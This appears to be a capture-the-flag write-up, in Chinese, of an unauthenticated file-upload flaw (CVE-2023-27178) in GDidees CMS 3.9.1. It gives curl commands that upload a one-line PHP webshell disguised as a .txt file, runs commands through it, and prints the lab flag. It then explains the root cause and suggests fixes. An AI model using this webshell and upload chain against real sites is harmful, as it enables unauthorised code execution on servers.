GDidees CMS - Arbitrary File Upload (CVE-2023-27178)

Summary

目标站点 eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com 运行 GDidees CMS 3.9.1,存在 CWE-434 未限制危险文件类型上传漏洞。_admin/controls/upload_ressources.php 上传端点无需身份验证即可直接访问,通过上传 .txt 后缀的 PHP Webshell 绕过扩展名限制,最终在 Apache 配置缺陷的配合下实现 RCE 并读取 /flag

Solution

Step 1: 发现未授权可访问的上传端点

对目标站点进行指纹识别,确认是 GDidees CMS 后,探测管理后台路径。意外发现 _admin/controls/upload_ressources.php 可以无需任何 session 或身份验证直接访问。

bash 复制代码
curl -sk "https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com/_admin/controls/upload_ressources.php"
# 响应:<div id="titreAdmin">Echange de fichiers</div>...上传表单

Step 2: 分析上传限制并构造绕过

该端点有以下限制:

  • 白名单仅允许:.gif, .zip, .jpg, .jpeg, .pdf, .png, .txt
  • 文件名经过 strtrpreg_replace 净化
  • 上传路径:../userfiles/uploadfiles/{$_SESSION['login']}/

绕过思路:将 PHP Webshell 以 .txt 后缀上传。关键是目标 Apache 配置中,上传目录 _admin/userfiles/uploadfiles/ 没有禁用 .txt 文件的 PHP 解析。

bash 复制代码
# 生成 Webshell
echo '<?php system($_POST["cmd"]); ?>' > shell.php

# 上传文件(filename 设为 .txt)
curl -sk "https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com/_admin/controls/upload_ressources.php" \
  -F "fichier_source=@shell.php;filename=shell.txt"
# 响应:L'upload du fichier a été effectué avec succès !

Step 3: 验证 Webshell 并获取 Flag

文件上传到 _admin/userfiles/uploadfiles/shell.txt,通过 POST 请求执行命令:

bash 复制代码
TARGET="https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com"
SHELL="$TARGET/_admin/userfiles/uploadfiles/shell.txt"

# RCE 验证
curl -sk -X POST "$SHELL" -d "cmd=whoami"
# 输出: www-data

# 读取 Flag
curl -sk -X POST "$SHELL" -d "cmd=cat /flag"

Flag

复制代码
flag{3da1b746-2e1f-47c8-a3ed-2146ee4b778f}

漏洞根因

层面 问题
代码层 upload_ressources.php 仅通过 $_SESSION['login'] 构造上传路径,但未检查用户是否已登录;未授权用户可直接访问
配置层 上传目录 _admin/userfiles/uploadfiles/ 未禁用 PHP 解析,.txt 文件被 Apache 当作 PHP 执行
白名单层 .txt 在白名单中,但实际应禁止所有可执行脚本类型

修复建议

  1. 上传端点添加认证检查:if (!isset($_SESSION['connected']) || $_SESSION['connected'] !== true) { die('Unauthorized'); }

  2. 上传目录添加 .htaccess 禁用 PHP 解析:

    apache 复制代码
    <FilesMatch "\.(txt|pdf|jpg|gif|png|zip)$">
        SetHandler none
        Require all denied
    </FilesMatch>
  3. 使用 finfo_file() 验证文件真实类型,而非仅依赖扩展名

相关推荐
程序猿编码2 小时前
给你的网络流量穿件“隐形衣“:手把手教你用对称加密打造透明安全隧道
linux·开发语言·网络·安全·linux内核
飞飞传输5 小时前
国产化FTP替代方案哪个好?选对平台让传输更安全高效
大数据·运维·安全
whyfail6 小时前
CVE-2026-39363-Vite开发服务器安全漏洞深度分析
安全·vite
amao99887 小时前
系统安全-概述
安全·系统安全
阿赛工作室7 小时前
符合欧盟安全标准的 Node.js + Vue3 全栈架构设计
安全·node.js
QC·Rex7 小时前
Kubernetes 生产环境调试安全最佳实践:2026 年完整指南
安全·贪心算法·kubernetes
德迅云安全-小潘8 小时前
游戏行业网络安全态势分析与应对
安全·web安全·游戏
数字供应链安全产品选型9 小时前
29分钟!攻击者突破时间再创新低,灵境AIDR如何重新定义智能体安全治理?
安全
说实话起个名字真难啊9 小时前
2026数字中国创新大赛数字安全赛道writeup之web题目一
java·前端·安全